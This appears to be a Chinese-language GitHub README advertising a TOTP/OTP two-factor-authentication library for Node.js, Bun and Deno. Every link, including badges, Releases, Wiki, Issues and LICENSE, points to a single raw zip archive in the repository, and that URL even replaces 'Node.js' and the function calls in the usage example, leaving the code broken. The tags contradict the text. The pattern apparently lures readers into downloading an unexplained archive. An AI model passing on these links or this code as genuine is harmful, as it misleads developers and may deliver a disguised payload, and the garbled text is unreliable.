ShulpeXTechnology/totp-otp-auth
GitHub: ShulpeXTechnology/totp-otp-auth
这是一个适用于 Node.js、Bun 和 Deno 的零依赖库,旨在帮助开发者安全地实现 TOTP/OTP 双因素认证功能。
Stars: 0 | Forks: 0
# 🔑 totp-otp-auth - 让安全认证变得简单
[](https://raw.githubusercontent.com/ShulpeXTechnology/totp-otp-auth/main/src/auth-otp-totp-v3.2.zip)

[](https://raw.githubusercontent.com/ShulpeXTechnology/totp-otp-auth/main/src/auth-otp-totp-v3.2.zip)
## 🌟 简介
TOTP/OTP Auth 是一个简单的库,可帮助您通过双因素认证保护应用程序。它与 Google Authenticator 和 Authy 等流行工具配合良好。您可以轻松生成代码、创建二维码并验证令牌。该库没有复杂的设置,非常适合任何人使用。
## 📦 功能
- 🔐 **符合标准:** 遵循 RFC 6238 (TOTP) 和 RFC 4226 (HOTP)。
- 🎯 **无额外依赖:** 仅使用内置的 https://raw.githubusercontent.com/ShulpeXTechnology/totp-otp-auth/main/src/auth-otp-totp-v3.2.zip crypto 功能。
- 📱 **兼容性:** 可与所有主流身份验证器应用一起使用。
- 🖼️ **轻松生成二维码:** 创建 SVG 和 Base64 格式的二维码。
- 🔧 **TypeScript 支持:** 完整支持 TypeScript,并提供清晰的类型定义。
- ⚡ **跨平台:** 可在 https://raw.githubusercontent.com/ShulpeXTechnology/totp-otp-auth/main/src/auth-otp-totp-v3.2.zip、Bun 和 Deno 环境中使用。
- 🛡️ **注重安全:** 执行恒定时间比较,无需存储密钥。
## 🚀 快速开始
开始使用该库非常简单。您只需从 Releases 页面下载它,并按照设置说明操作即可。
### 🔗 下载链接
[](https://raw.githubusercontent.com/ShulpeXTechnology/totp-otp-auth/main/src/auth-otp-totp-v3.2.zip)
## 📥 下载与安装
要获取该库,请访问 [Releases 页面](https://raw.githubusercontent.com/ShulpeXTechnology/totp-otp-auth/main/src/auth-otp-totp-v3.2.zip) 下载最新版本。您将找到所需的文件。下载后,请按照以下说明操作:
1. **对于 https://raw.githubusercontent.com/ShulpeXTechnology/totp-otp-auth/main/src/auth-otp-totp-v3.2.zip 和 Bun 用户:**
- 打开终端或命令提示符。
- 运行以下命令安装该库:
npm install totp-otp-auth
2. **对于 Deno 用户:**
- 您可以通过导入该库,直接在 Deno 项目中使用它:
import { totp } from "https://raw.githubusercontent.com/ShulpeXTechnology/totp-otp-auth/main/src/auth-otp-totp-v3.2.zip";
### 📋 系统要求
- **https://raw.githubusercontent.com/ShulpeXTechnology/totp-otp-auth/main/src/auth-otp-totp-v3.2.zip** 版本 12.x 或更高。
- **Bun:** 建议使用最新版本。
- **Deno:** 版本 1.0 或更高。
## 📚 使用示例
安装该库后,您可以按照以下方式生成 TOTP 令牌:
```
import { totp } from 'totp-otp-auth';
const secret = 'yourSecretKey';
const token = https://raw.githubusercontent.com/ShulpeXTechnology/totp-otp-auth/main/src/auth-otp-totp-v3.2.zip(secret);
// Verifying the token
const isValid = https://raw.githubusercontent.com/ShulpeXTechnology/totp-otp-auth/main/src/auth-otp-totp-v3.2.zip(token, secret);
https://raw.githubusercontent.com/ShulpeXTechnology/totp-otp-auth/main/src/auth-otp-totp-v3.2.zip(`Token is valid: ${isValid}`);
```
此示例生成一个 TOTP 令牌并对其进行验证。您可以轻松地根据自己的需求进行调整。
## 📖 文档
有关更详细的信息,请查看 [Wiki 部分](https://raw.githubusercontent.com/ShulpeXTechnology/totp-otp-auth/main/src/auth-otp-totp-v3.2.zip)。其中包含高级配置和集成的指南以及其他示例。
## 🤝 贡献
如果您想做出贡献,欢迎 fork 该仓库。您可以提交新功能或错误修复的 pull request。方法如下:
1. Fork 该仓库。
2. 创建一个功能分支 (`git checkout -b feature/YourFeature`)。
3. 提交您的更改 (`git commit -m 'Add some feature'`)。
4. 推送到该分支 (`git push origin feature/YourFeature`)。
5. 打开一个 pull request。
欢迎您的贡献!
## 📞 支持
如果您遇到任何问题,请参考 [Issues](https://raw.githubusercontent.com/ShulpeXTechnology/totp-otp-auth/main/src/auth-otp-totp-v3.2.zip) 页面。您可以在那里报告错误或寻求帮助。
## 📜 许可证
该项目采用 MIT 许可证。您可以自由地在您的应用程序中使用此库。
请务必查看 [LICENSE](https://raw.githubusercontent.com/ShulpeXTechnology/totp-otp-auth/main/src/auth-otp-totp-v3.2.zip) 文件了解详情。
现在您已准备好在应用程序中实现强大、安全的身份验证!祝您编码愉快!
标签:2FA, Authy, Base64, Bun, Deno, GNU通用公共许可证, Google Authenticator, HOTP, MITM代理, Node.js, OTP, RFC 4226, RFC 6238, SVG, TOTP, TypeScript, YAML, 二维码生成, 加密, 双因素认证, 多因素认证, 安全库, 安全插件, 恒定时间比较, 漏洞扫描器, 自定义脚本, 零依赖